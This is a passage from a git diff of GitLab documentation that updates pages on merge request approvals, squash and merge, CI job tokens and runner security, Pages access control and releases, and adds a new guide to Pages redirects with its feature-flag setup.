available rules or choose more than one. Single approval rules are available in GitLab Starter and higher tiers, -while [multiple approval rules](#multiple-approval-rules-premium) are available in +while [multiple approval rules](#multiple-approval-rules) are available in [GitLab Premium](https://about.gitlab.com/pricing/) and above. NOTE: **Note:** @@ -61,6 +61,8 @@ group is public. #### Eligible Approvers +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10294) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.3, when an eligible approver comments on a merge request, it appears in the **Commented by** column of the Approvals widget. + The following users can approve merge requests: - Users who have been added as approvers at the project or merge request levels with @@ -84,8 +86,7 @@ if [**Prevent author approval**](#allowing-merge-request-authors-to-approve-thei and [**Prevent committers approval**](#prevent-approval-of-merge-requests-by-their-committers) (disabled by default) are enabled on the project settings. -[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10294) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.3, -when an eligible approver comments on a merge request, it appears in the **Commented by** column of the Approvals widget, +When an eligible approver comments on a merge request, it appears in the **Commented by** column of the Approvals widget, indicating who has engaged in the merge request review. Authors and reviewers can also easily identify who they should reach out to if they have any questions or inputs about the content of the merge request. @@ -118,7 +119,30 @@ users with Developer or higher permissions, as well as by Code Owners, indistinguishably. Alternatively, you can **require** -[Code Owner's approvals for Protected Branches](../protected_branches.md#protected-branches-approval-by-code-owners-premium). **(PREMIUM)** +[Code Owner's approvals for Protected Branches](../protected_branches.md#protected-branches-approval-by-code-owners). **(PREMIUM)** + +#### Merge Request approval segregation of duties + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40491) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.4. + +Managers or operators with [Reporter permissions](../../permissions.md#project-members-permissions) +to a project sometimes need to be required approvers of a merge request, +before a merge to a protected branch begins. These approvers aren't allowed +to push or merge code to any branches. + +To enable this access: + +1. [Create a new group](../../group/index.md#create-a-new-group), and then + [add the user to the group](../../group/index.md#add-users-to-a-group), + ensuring you select the Reporter role for the user. +1. [Share the project with your group](../members/share_project_with_groups.md#sharing-a-project-with-a-group-of-users), + based on the Reporter role. +1. Navigate to your project's **Settings > General**, and in the + **Merge request approvals** section, click **Expand**. +1. [Add the group](../../group/index.md#create-a-new-group) to the permission list + for the protected branch. + + #### Adding / editing a default approval rule @@ -204,7 +228,7 @@ Alternatively, you can select a very specific protected branch from the **Target  -To enable this configuration, see [Code Owner’s approvals for protected branches](../protected_branches.md#protected-branches-approval-by-code-owners-premium). +To enable this configuration, see [Code Owner’s approvals for protected branches](../protected_branches.md#protected-branches-approval-by-code-owners). ### Adding or removing an approval @@ -242,9 +266,9 @@ The project settings for Merge request approvals are found by going to #### Prevent overriding default approvals -By default, users are able to edit the approval rules in merge requests. If disabled, -the approval rules for all new merge requests will be determined by the -[default approval rules](#adding--editing-a-default-approval-rule). To disable this feature: +Regardless of the approval rules you choose for your project, users can edit them in every merge +request, overriding the rules you set as [default](#adding--editing-a-default-approval-rule). +To prevent that from happening: 1. Uncheck the **Can override approvers and approvals required per merge request** checkbox. 1. Click **Save changes**. @@ -267,14 +291,15 @@ from the UI. However, approvals will be reset if the target branch is changed. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3349) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.3. -You can allow merge request authors to self-approve merge requests. Authors -also need to be included in the approvers list in order to be able to -approve their merge request. To enable this feature: +By default, projects are configured to prevent merge requests from being approved by +their own authors. To change this setting: -1. Uncheck the **Prevent approval of merge requests by merge request author** checkbox, - which is enabled by default. +1. Go to your project's **Settings > General**, expand **Merge request approvals**. +1. Uncheck the **Prevent approval of merge requests by merge request author** checkbox. 1. Click **Save changes**. +Note that users can edit the approval rules in every merge request and override pre-defined settings unless it's set [**not to allow** overrides](#prevent-overriding-default-approvals). + #### Prevent approval of merge requests by their committers > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10441) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.10. diff --git a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md index 4e821145339..3a18cacde64 100644 --- a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md +++ b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, reference --- -# Reviewing and managing merge requests +# Reviewing and managing merge requests **(CORE)** Merge requests are the primary method of making changes to files in a GitLab project. Changes are proposed by [creating and submitting a merge request](creating_merge_requests.md), @@ -67,13 +67,21 @@ list.  +### Collapsed files in the Changes view + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232820) in GitLab 13.4. + +When you review changes in the **Changes** tab, files with a large number of changes are collapsed +to improve performance. When files are collapsed, a warning appears at the top of the changes. +Click **Expand file** on any file to view the changes for that file. + ### File-by-file diff navigation > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222790) in GitLab 13.2. > - It's deployed behind a feature flag, enabled by default. > - It's recommended for production use. > - It's enabled on GitLab.com. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-file-by-file-diff-navigation-core-only). +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-file-by-file-diff-navigation). For larger merge requests it might sometimes be useful to review single files at a time. To enable, from your avatar on the top-right navbar, click **Settings**, and go to **Preferences** on the left @@ -156,7 +164,7 @@ in a Merge Request. To do so, click the **{comment}** **comment** icon in the gu > - It's enabled on GitLab.com. > - It can be disabled or enabled per-project. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-multiline-comments-core-only). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-multiline-comments). **(CORE ONLY)** GitLab provides a way to select which lines of code a comment refers to. After starting a comment a dropdown selector is shown to select the first line that this comment refers to. @@ -203,6 +211,11 @@ If there's an [environment](../../../ci/environments/index.md) and the applicati successfully deployed to it, the deployed environment and the link to the Review App will be shown as well. +NOTE: **Note:** +When the default branch (for example, `main`) is red due to a failed CI pipeline, the `merge` button +When the pipeline fails in a merge request but it can be merged nonetheless, +the **Merge** button will be colored in red. + ### Post-merge pipeline status When a merge request is merged, you can see the post-merge pipeline status of @@ -284,15 +297,37 @@ the command line. NOTE: **Note:** This section might move in its own document in the future. -### Checkout merge requests locally +### Copy the branch name for local checkout + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23767) in GitLab 13.4. + +The merge request sidebar contains the branch reference for the source branch +used to contribute changes for this merge request. + +To copy the branch reference into your clipboard, click the **Copy branch name** button +(**{copy-to-clipboard}**) in the right sidebar. You can then use it to checkout the branch locally +via command line by running `git checkout <branch-name>`. + +### Checkout merge requests locally through the `head` ref A merge request contains all the history from a repository, plus the additional commits added to the branch associated with the merge request. Here's a few -tricks to checkout a merge request locally. +ways to checkout a merge request locally. Please note that you can checkout a merge request locally even if the source project is a fork (even a private fork) of the target project. +This relies on the merge request `head` ref (`refs/merge-requests/:iid/head`) +that is available for each merge request. It allows checking out a merge +request via its ID instead of its branch. + +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223156) in GitLab +13.4, 14 days after a merge request gets closed or merged, the merge request +`head` ref will be deleted. This means that the merge request will not be available +for local checkout via the merge request `head` ref anymore. The merge request +can still be re-opened. Also, as long as the merge request's branch +exists, you can still check out the branch as it won't be affected. + #### Checkout locally by adding a Git alias Add the following alias to your `~/.gitconfig`: diff --git a/doc/user/project/merge_requests/squash_and_merge.md b/doc/user/project/merge_requests/squash_and_merge.md index 7f752b2cc39..69a0dd6e84f 100644 --- a/doc/user/project/merge_requests/squash_and_merge.md +++ b/doc/user/project/merge_requests/squash_and_merge.md @@ -65,14 +65,27 @@ meaningful commit messages and: ## Enabling squash for a merge request Anyone who can create or edit a merge request can choose for it to be squashed -on the merge request form: +on the merge request form. Users can select or unselect the checkbox at the moment +they are creating the merge request:  -This can then be overridden at the time of accepting the merge request: +After the merge request is submitted, Squash and Merge can still be enabled or disabled +by editing the merge request description: + +1. Scroll to the top of the merge request page and click **Edit**. +1. Scroll down to the end of the merge request form and select the checkbox +**Squash commits when merge request is accepted**. + +This setting can then be overridden at the time of accepting the merge request. +At the end of the merge request widget, next to the **Merge** button, the **Squash commits** checkbox +can be either selected or unselected:  +Note that Squash and Merge might not be available depending on the project's configuration +for [Squash Commit Options](#squash-commits-options). + ## Commit metadata for squashed commits The squashed commit has the following metadata: @@ -97,7 +110,7 @@ squashing can itself be considered equivalent to rebasing. > - It's enabled on GitLab.com. > - It can be enabled per project. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-squash-commit-options-core-only). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-squash-commit-options). **(CORE ONLY)** With Squash Commits Options you can configure the behavior of Squash and Merge for your project. To set it up, navigate to your project's **Settings > General** and expand **Merge requests**. @@ -133,7 +146,7 @@ To enable it: # Instance-wide Feature.enable(:squash_options) # or by project -Feature.enable(:squash_options, Project.find(<project id>)) +Feature.enable(:squash_options, Project.find(<project ID>)) ``` To disable it: @@ -142,7 +155,7 @@ To disable it: # Instance-wide Feature.disable(:squash_options) # or by project -Feature.disable(:squash_options, Project.find(<project id>)) +Feature.disable(:squash_options, Project.find(<project ID>)) ``` <!-- ## Troubleshooting diff --git a/doc/user/project/merge_requests/test_coverage_visualization.md b/doc/user/project/merge_requests/test_coverage_visualization.md index 6751dde155c..56b5774f15b 100644 --- a/doc/user/project/merge_requests/test_coverage_visualization.md +++ b/doc/user/project/merge_requests/test_coverage_visualization.md @@ -8,9 +8,9 @@ type: reference, howto # Test Coverage Visualization **(CORE ONLY)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9. -> - It's deployed behind a feature flag, disabled by default. -> - It's disabled on GitLab.com. -> - It can be enabled or disabled per-project. +> - [Feature flag enabled](https://gitlab.com/gitlab-org/gitlab/-/issues/211410) in GitLab 13.4. +> - It's enabled on GitLab.com. +> - It can be disabled per-project. > - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enabling-the-feature). **(CORE ONLY)** With the help of [GitLab CI/CD](../../../ci/README.md), you can collect the test @@ -76,11 +76,9 @@ test: ## Enabling the feature -This feature comes with the `:coverage_report_view` feature flag disabled by -default. It is disabled on GitLab.com. This feature is disabled due to some performance issues with very large -data sets. When [the performance issue](https://gitlab.com/gitlab-org/gitlab/-/issues/211410) -is resolved, the feature will be enabled by default. [GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can enable it for your instance. Test coverage visualization can be enabled or disabled per-project. +This feature comes with the `:coverage_report_view` feature flag enabled by +default. It is enabled on GitLab.com. [GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can disable it for your instance. Test coverage visualization can be enabled or disabled per-project. To enable it: diff --git a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md index e5ebc46d58f..b298c62a5e6 100644 --- a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md +++ b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md @@ -19,7 +19,7 @@ or link to useful information directly from merge requests: | [Code Quality](code_quality.md) | Analyze your source code quality using the [Code Climate](https://codeclimate.com/) analyzer and show the Code Climate report right in the merge request widget area. | | [Display arbitrary job artifacts](../../../ci/yaml/README.md#artifactsexpose_as) | Configure CI pipelines with the `artifacts:expose_as` parameter to directly link to selected [artifacts](../../../ci/pipelines/job_artifacts.md) in merge requests. | | [GitLab CI/CD](../../../ci/README.md) | Build, test, and deploy your code in a per-branch basis with built-in CI/CD. | -| [JUnit test reports](../../../ci/junit_test_reports.md) | Configure your CI jobs to use JUnit test reports, and let GitLab display a report on the merge request so that it’s easier and faster to identify the failure without having to check the entire job log. | +| [Unit test reports](../../../ci/unit_test_reports.md) | Configure your CI jobs to use Unit test reports, and let GitLab display a report on the merge request so that it’s easier and faster to identify the failure without having to check the entire job log. | | [License Compliance](../../compliance/license_compliance/index.md) **(ULTIMATE)** | Manage the licenses of your dependencies. | | [Metrics Reports](../../../ci/metrics_reports.md) **(PREMIUM)** | Display the Metrics Report on the merge request so that it's fast and easy to identify changes to important metrics. | | [Multi-Project pipelines](../../../ci/multi_project_pipelines.md) **(PREMIUM)** | When you set up GitLab CI/CD across multiple projects, you can visualize the entire pipeline, including all cross-project interdependencies. | diff --git a/doc/user/project/milestones/index.md b/doc/user/project/milestones/index.md index aea5eef5efc..9d02a22f91e 100644 --- a/doc/user/project/milestones/index.md +++ b/doc/user/project/milestones/index.md @@ -117,9 +117,9 @@ From the project issue/merge request list pages and the group issue/merge reques ### Filtering in issue boards - From [project issue boards](../issue_board.md), you can filter by both group milestones and project milestones in the [search and filter bar](../../search/index.md#issue-boards). -- From [group issue boards](../issue_board.md#group-issue-boards-premium), you can filter by only group milestones in the [search and filter bar](../../search/index.md#issue-boards). **(PREMIUM)** -- From [project issue boards](../issue_board.md), you can filter by both group milestones and project milestones in the [issue board configuration](../issue_board.md#configurable-issue-boards-starter). **(STARTER)** -- From [group issue boards](../issue_board.md#group-issue-boards-premium) you can filter by only group milestones in the [issue board configuration](../issue_board.md#configurable-issue-boards-starter). **(STARTER)** +- From [group issue boards](../issue_board.md#group-issue-boards), you can filter by only group milestones in the [search and filter bar](../../search/index.md#issue-boards). **(PREMIUM)** +- From [project issue boards](../issue_board.md), you can filter by both group milestones and project milestones in the [issue board configuration](../issue_board.md#configurable-issue-boards). **(STARTER)** +- From [group issue boards](../issue_board.md#group-issue-boards) you can filter by only group milestones in the [issue board configuration](../issue_board.md#configurable-issue-boards). **(STARTER)** ### Special milestone filters @@ -154,9 +154,9 @@ For project milestones in [GitLab Starter](https://about.gitlab.com/pricing/), a  -### Group Burndown Charts **(PREMIUM)** +### Group Burndown Charts **(STARTER)** -For group milestones in [GitLab Premium](https://about.gitlab.com/pricing/), a [burndown chart](burndown_charts.md) is in the milestone view, showing the progress of completing a milestone. +For group milestones in [GitLab Starter](https://about.gitlab.com/pricing/), a [burndown chart](burndown_charts.md) is in the milestone view, showing the progress of completing a milestone. ### Milestone sidebar diff --git a/doc/user/project/new_ci_build_permissions_model.md b/doc/user/project/new_ci_build_permissions_model.md index cfcbf11a407..c3825371030 100644 --- a/doc/user/project/new_ci_build_permissions_model.md +++ b/doc/user/project/new_ci_build_permissions_model.md @@ -54,7 +54,7 @@ It is important to note that we have a few types of users: Administrator will have to be a member of it in order to have access to it via another project's job. -- **External users**: CI jobs created by [external users](../permissions.md#external-users-core-only) will have +- **External users**: CI jobs created by [external users](../permissions.md#external-users) will have access only to projects to which the user has at least Reporter access. This rules out accessing all internal projects by default. @@ -65,7 +65,7 @@ Let's consider the following scenario: hosted in private repositories and you have multiple CI jobs that make use of these repositories. -1. You invite a new [external user](../permissions.md#external-users-core-only). CI jobs created by that user do not +1. You invite a new [external user](../permissions.md#external-users). CI jobs created by that user do not have access to internal repositories, because the user also doesn't have the access from within GitLab. You as an employee have to grant explicit access for this user. This allows us to prevent from accidental data leakage. @@ -83,9 +83,9 @@ We try to make sure that this token doesn't leak by: 1. Masking the job token from job logs. 1. Granting permissions to the job token **only** when the job is running. -However, this brings a question about the Runners security. To make sure that +However, this brings up a question about the runner's security. To make sure that this token doesn't leak, you should also make sure that you configure -your Runners in the most possible secure way, by avoiding the following: +your runners in the most possible secure way, by avoiding the following: 1. Any usage of Docker's `privileged` mode is risky if the machines are re-used. 1. Using the `shell` executor since jobs run on the same machine. @@ -95,13 +95,13 @@ to steal the tokens of other jobs. ## Before GitLab 8.12 -In versions before GitLab 8.12, all CI jobs would use the CI Runner's token +In versions before GitLab 8.12, all CI jobs would use the runner's token to checkout project sources. -The project's Runner's token was a token that you could find under the +The project's runner token was a token that you could find under the project's **Settings > Pipelines** and was limited to access only that project. -It could be used for registering new specific Runners assigned to the project +It could be used for registering new specific runners assigned to the project and to checkout project sources. It could also be used with the GitLab Container Registry for that project, allowing pulling and pushing Docker images from within the CI job. @@ -123,7 +123,7 @@ Using single token had multiple security implications: - The token would be readable to anyone who had Developer access to a project that could run CI jobs, allowing the developer to register any specific - Runner for that project. + runner for that project. - The token would allow to access only the project's sources, forbidding from accessing any other projects. - The token was not expiring and was multi-purpose: used for checking out sources, @@ -205,7 +205,7 @@ Container Registries for private projects. > > - GitLab Runner versions prior to 1.8 don't incorporate the introduced changes > for permissions. This makes the `image:` directive not work with private -> projects automatically and it needs to be configured manually on Runner's host +> projects automatically and it needs to be configured manually on the GitLab Runner host > with a predefined account (for example administrator's personal account with > access token created explicitly for this purpose). This issue is resolved with > latest changes in GitLab Runner 1.8 which receives GitLab credentials with diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md index e6912259bfa..badafa478ef 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md @@ -1,6 +1,4 @@ --- -last_updated: 2020-07-25 -type: reference, howto disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pages/getting_started_part_three.html' stage: Release group: Release Management diff --git a/doc/user/project/pages/getting_started/pages_from_scratch.md b/doc/user/project/pages/getting_started/pages_from_scratch.md index cabaf734d77..a7eb4c4019f 100644 --- a/doc/user/project/pages/getting_started/pages_from_scratch.md +++ b/doc/user/project/pages/getting_started/pages_from_scratch.md @@ -1,6 +1,4 @@ --- -last_updated: 2020-01-06 -type: reference, howto stage: Release group: Release Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers @@ -9,8 +7,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Create a GitLab Pages website from scratch This tutorial shows you how to create a Pages site from scratch. You will start with -a blank project and create your own CI file, which gives instruction to the -[GitLab Runner](https://docs.gitlab.com/runner/). When your CI/CD +a blank project and create your own CI file, which gives instruction to +a [runner](https://docs.gitlab.com/runner/). When your CI/CD [pipeline](../../../../ci/pipelines/index.md) runs, the Pages site is created. This example uses the [Jekyll](https://jekyllrb.com/) Static Site Generator (SSG). @@ -50,7 +48,7 @@ Create three files in the root (top-level) directory. ## Choose a Docker image -In this example, the Runner uses a [Docker image](../../../../ci/docker/using_docker_images.md) +In this example, the runner uses a [Docker image](../../../../ci/docker/using_docker_images.md) to run scripts and deploy the site. This specific Ruby image is maintained on [DockerHub](https://hub.docker.com/_/ruby). @@ -95,7 +93,7 @@ job: ``` For GitLab Pages, this `job` has a specific name, called `pages`. -This setting tells the Runner you want the job to deploy your website +This setting tells the runner you want the job to deploy your website with GitLab Pages: ```yaml @@ -124,7 +122,7 @@ pages: ## Specify the `public` directory for artifacts Now that Jekyll has output the files to the `public` directory, -the Runner needs to know where to get them. The artifacts are stored +the runner needs to know where to get them. The artifacts are stored in the `public` directory: ```yaml @@ -190,7 +188,7 @@ pages: - public ``` -Then configure the pipeline to run the job for the master branch only. +Then configure the pipeline to run the job for the `master` branch only. ```yaml image: ruby:2.7 diff --git a/doc/user/project/pages/getting_started_part_one.md b/doc/user/project/pages/getting_started_part_one.md index 949a6c16c1b..9272b1f9093 100644 --- a/doc/user/project/pages/getting_started_part_one.md +++ b/doc/user/project/pages/getting_started_part_one.md @@ -1,6 +1,4 @@ --- -last_updated: 2018-06-04 -type: concepts, reference stage: Release group: Release Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers diff --git a/doc/user/project/pages/index.md b/doc/user/project/pages/index.md index eff80a4c9bd..6c3b911d033 100644 --- a/doc/user/project/pages/index.md +++ b/doc/user/project/pages/index.md @@ -59,6 +59,7 @@ To update a GitLab Pages website: | [Explore GitLab Pages](introduction.md) | Requirements, technical aspects, specific GitLab CI/CD configuration options, Access Control, custom 404 pages, limitations, FAQ. | | [Custom domains and SSL/TLS Certificates](custom_domains_ssl_tls_certification/index.md) | Custom domains and subdomains, DNS records, and SSL/TLS certificates. | | [Let's Encrypt integration](custom_domains_ssl_tls_certification/lets_encrypt_integration.md) | Secure your Pages sites with Let's Encrypt certificates, which are automatically obtained and renewed by GitLab. | +| [Redirects](redirects.md) | Set up HTTP redirects to forward one page to another. | Learn more and see examples: diff --git a/doc/user/project/pages/introduction.md b/doc/user/project/pages/introduction.md index a6923779f24..cea6bab1a50 100644 --- a/doc/user/project/pages/introduction.md +++ b/doc/user/project/pages/introduction.md @@ -1,6 +1,4 @@ --- -type: reference -last_updated: 2020-01-06 stage: Release group: Release Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers @@ -36,7 +34,7 @@ If you are using [GitLab Pages on GitLab.com](#gitlab-pages-on-gitlabcom) to hos - The domain name for GitLab Pages on GitLab.com is `gitlab.io`. - Custom domains and TLS support are enabled. - Shared runners are enabled by default, provided for free and can be used to - build your website. If you want you can still bring your own Runner. + build your website. If you want you can still bring your own runner. ## Example projects @@ -62,13 +60,8 @@ If the case of `404.html`, there are different scenarios. For example: ## Redirects in GitLab Pages -Since you cannot use any custom server configuration files, like `.htaccess` or -any `.conf` file, if you want to redirect a page to another -location, you can use the [HTTP meta refresh tag](https://en.wikipedia.org/wiki/Meta_refresh). - -Some static site generators provide plugins for that functionality so that you -don't have to create and edit HTML files manually. For example, Jekyll has the -[redirect-from plugin](https://github.com/jekyll/jekyll-redirect-from). +You can configure redirects for your site using a `_redirects` file. To learn more, read +the [redirects documentation](redirects.md). ## GitLab Pages Access Control **(CORE)** diff --git a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md index d86704eb703..708d886b352 100644 --- a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md +++ b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md @@ -1,7 +1,5 @@ --- description: "How to secure GitLab Pages websites with Let's Encrypt (manual process, deprecated)." -type: howto -last_updated: 2019-07-15 --- # Let's Encrypt for GitLab Pages (manual process, deprecated) diff --git a/doc/user/project/pages/pages_access_control.md b/doc/user/project/pages/pages_access_control.md index 6fcad0a5357..b6b881b961e 100644 --- a/doc/user/project/pages/pages_access_control.md +++ b/doc/user/project/pages/pages_access_control.md @@ -10,7 +10,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/33422) in GitLab 11.5. > - Available on GitLab.com in GitLab 12.4. -You can enable Pages access control on your project, so that only +You can enable Pages access control on your project +if your administrator has [enabled the access control feature](../../../administration/pages/index.md#access-control) +on your GitLab instance. When enabled, only [members of your project](../../permissions.md#project-members-permissions) (at least Guest) can access your website: diff --git a/doc/user/project/pages/redirects.md b/doc/user/project/pages/redirects.md new file mode 100644 index 00000000000..ae7b1b4fa6e --- /dev/null +++ b/doc/user/project/pages/redirects.md @@ -0,0 +1,130 @@ +--- +stage: Release +group: Release Management +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Create redirects for GitLab Pages + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/24) in GitLab Pages 1.25.0 and GitLab 13.4. +> - It's [deployed behind a feature flag](#enable-or-disable-redirects), disabled by default. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-redirects). + +CAUTION: **Warning:** +This feature might not be available to you. Check the **version history** note above for details. + +In GitLab Pages, you can [enable](#enable-or-disable-redirects) the redirects feature to configure rules to forward one URL to another using HTTP redirects. GitLab Pages uses +[Netlify style redirects](https://docs.netlify.com/routing/redirects/#syntax-for-the-redirects-file). + +## Supported features + +GitLab Pages only supports the +[`_redirects` plain text file syntax](https://docs.netlify.com/routing/redirects/#syntax-for-the-redirects-file), +and `.toml` files are not supported. + +Redirects are only supported at a basic level, and GitLab Pages doesn't support all +[special options offered by Netlify](https://docs.netlify.com/routing/redirects/redirect-options/): + +| Feature | Supported | Example | +| ------- | --------- | ------- | +| Redirects (`301`, `302`) | **{check-circle}** Yes | `/wardrobe.html /narnia.html 302` +| Rewrites (other status codes) | **{dotted-circle}** No | `/en/* /en/404.html 404` | +| [Splats](https://docs.netlify.com/routing/redirects/redirect-options/#splats) | **{dotted-circle}** No | `/news/* /blog/:splat` | +| Placeholders | **{dotted-circle}** No | `/news/:year/:month/:date/:slug /blog/:year/:month/:date/:slug` | +| Query parameters | **{dotted-circle}** No | `/store id=:id /blog/:id 301` | +| Force ([shadowing](https://docs.netlify.com/routing/redirects/rewrites-proxies/#shadowing)) | **{dotted-circle}** No | `/app/ /app/index.html 200!` | +| Domain-level redirects | **{dotted-circle}** No | `http://blog.example.com/* https://www.example.com/blog/:splat 301` | +| Redirect by country or language | **{dotted-circle}** No | `/ /anz 302 Country=au,nz` | +| Redirect by role | **{dotted-circle}** No | `/admin/* 200! Role=admin` | + +NOTE: **Note:** +Supported paths must start with a forward slash `/`. + +## Create redirects + +To create redirects after [enabling](#enable-or-disable-redirects) the feature, +create a configuration file named `_redirects` in the `public/` directory of your +GitLab Pages site. + +If your GitLab Pages site uses the default domain name (such as +`namespace.gitlab.io/projectname`) you must prefix every rule with the project name: + +```plaintext +/projectname/redirect-portal.html /projectname/magic-land.html 301 +/projectname/cake-portal.html /projectname/still-alive.html 302 +/projectname/wardrobe.html /projectname/narnia.html 302 +/projectname/pit.html /projectname/spikes.html 302 +``` + +If your GitLab Pages site uses [custom domains](custom_domains_ssl_tls_certification/index.md), +no project name prefix is needed. For example, if your custom domain is `example.com`, +your `_redirect` file would look like: + +```plaintext +/redirect-portal.html /magic-land.html 301 +/cake-portal.html /still-alive.html 302 +/wardrobe.html /narnia.html 302 +/pit.html /spikes.html 302 +``` + +## Files override redirects + +Files take priority over redirects. If a file exists on disk, GitLab Pages serves +the file instead of your redirect. For example, if the files `hello.html` and +`world.html` exist, and the `_redirects` file contains the following line, the redirect +is ignored because `hello.html` exists: + +```plaintext +/projectname/hello.html /projectname/world.html 302 +``` + +NOTE: **Note:** +GitLab does not support Netlify's +[force option](https://docs.netlify.com/routing/redirects/rewrites-proxies/#shadowing) +to change this behavior. + +## Debug redirect rules + +If a redirect isn't working as expected, or you want to check your redirect syntax, visit +`https://[namespace.gitlab.io]/projectname/_redirects`, replacing `[namespace.gitlab.io]` with +your domain name. The `_redirects` file isn't served directly, but your browser +displays a numbered list of your redirect rules, and whether the rule is valid or invalid: + +```plaintext +11 rules +rule 1: valid +rule 2: valid +rule 3: error: splats are not supported +rule 4: valid +rule 5: error: placeholders are not supported +rule 6: valid +rule 7: error: no domain-level redirects to outside sites +rule 8: error: url path must start with forward slash / +rule 9: error: no domain-level redirects to outside sites +rule 10: valid +rule 11: valid +``` + +## Enable or disable redirects + +Redirects in GitLab Pages is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. + +For [Omnibus installations](../../../administration/pages/index.md), define the +`FF_ENABLE_REDIRECTS` environment variable in the +[global settings](../../../administration/pages/index.md#global-settings). +Add the following line to `/etc/gitlab/gitlab.rb` and +[reconfigure the instance](../../../administration/restart_gitlab.md#omnibus-gitlab-reconfigure). + +```ruby +gitlab_pages['env']['FF_ENABLE_REDIRECTS'] = 'true' +``` + +For [source installations](../../../administration/pages/source.md), define the +`FF_ENABLE_REDIRECTS` environment variable, then +[restart GitLab](../../../administration/restart_gitlab.md#installations-from-source): + +```shell +export FF_ENABLE_REDIRECTS="true" +/path/to/pages/bin/gitlab-pages -config gitlab-pages.conf +``` diff --git a/doc/user/project/releases/index.md b/doc/user/project/releases/index.md index 20880d0c4fa..6c8aacd12b3 100644 --- a/doc/user/project/releases/index.md +++ b/doc/user/project/releases/index.md @@ -100,7 +100,7 @@ To edit the details of a release: 1. Click **Save changes**. You can edit the release title, notes, associated milestones, and asset links. -To change other release information, such as the tag or release date, use the +To change the release date use the [Releases API](../../../api/releases/index.md#update-a-release). ## Add release notes to Git tags @@ -322,13 +322,14 @@ The four types of links are "Runbook," "Package," "Image," and "Other." > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26019) in GitLab 12.6. Each time a release is created, GitLab takes a snapshot of data that's related to it. -This data is saved in a JSON file and called *release evidence*. It includes linked milestones -and issues and can facilitate internal processes like external audits. +This data is saved in a JSON file and called *release evidence*. The feature currently +includes test artifacts and linked milestones (and will include issues) to facilitate +internal processes, like external audits. To access the release evidence, on the Releases page, click the link to the JSON file that's listed under the **Evidence collection** heading. -You can also [use the API](../../../api/releases/index.md#collect-release-evidence-premium-only) to +You can also [use the API](../../../api/releases/index.md#collect-release-evidence) to generate release evidence for an existing release. Because of this, each release can have multiple release evidence snapshots. You can view the release evidence and its details on the Releases page. @@ -400,7 +401,7 @@ Here is an example of a release evidence object: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/199065) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.10. -When a release is created, release evidence is automatically collected. To initiate evidence collection any other time, use an [API call](../../../api/releases/index.md#collect-release-evidence-premium-only). You can collect release evidence multiple times for one release. +When a release is created, release evidence is automatically collected. To initiate evidence collection any other time, use an [API call](../../../api/releases/index.md#collect-release-evidence). You can collect release evidence multiple times for one release. Evidence collection snapshots are visible on the Releases page, along with the timestamp the evidence was collected. diff --git a/doc/user/project/repository/branches/index.md b/doc/user/project/repository/branches/index.md index 54979d1c4ce..a937b6ed959 100644 --- 